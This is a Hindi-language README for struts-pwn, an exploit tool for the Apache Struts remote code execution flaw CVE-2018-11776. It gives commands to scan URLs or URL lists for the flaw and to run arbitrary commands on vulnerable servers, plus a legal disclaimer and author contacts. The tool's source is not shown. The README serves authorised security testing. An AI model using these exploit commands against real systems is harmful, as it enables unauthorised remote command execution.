struts-pwn - CVE-2018-11776 शोषण

Apache Struts CVE-2018-11776 के लिए एक शोषण

उपयोग

एकल URL के विरुद्ध भेद्यता मौजूद है या नहीं जांचें।

python struts-pwn.py --url 'http://example.com/demo/struts2-showcase/index.action'

URL की सूची के विरुद्ध भेद्यता मौजूद है या नहीं जांचें।

python struts-pwn.py --list 'urls.txt'

एकल URL का शोषण करें।

python struts-pwn.py --exploit --url 'http://example.com/demo/struts2-showcase/index.action' -c 'id'

URL की सूची का शोषण करें।

python struts-pwn.py --exploit --list 'urls.txt' -c 'id'

डेमो

Demo

Screenshot 1

Screenshot 2

आवश्यकताएँ

Python2 या Python3
requests

कानूनी अस्वीकरण

यह परियोजना केवल शैक्षिक और नैतिक परीक्षण उद्देश्यों के लिए बनाई गई है। पूर्व पारस्परिक सहमति के बिना लक्ष्यों पर हमला करने के लिए struts-pwn का उपयोग अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। डेवलपर्स कोई देयता नहीं मानते हैं और इस प्रोग्राम के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।

लाइसेंस

यह परियोजना MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।

लेखक

मज़ीन अहमद

वेबसाइट: https://mazinahmed.net
ईमेल: mazin AT mazinahmed DOT net
ट्विटर: https://twitter.com/mazen160
लिंक्डइन: http://linkedin.com/in/infosecmazinahmed

struts-pwn_CVE-2018-11776

सबसे लोकप्रिय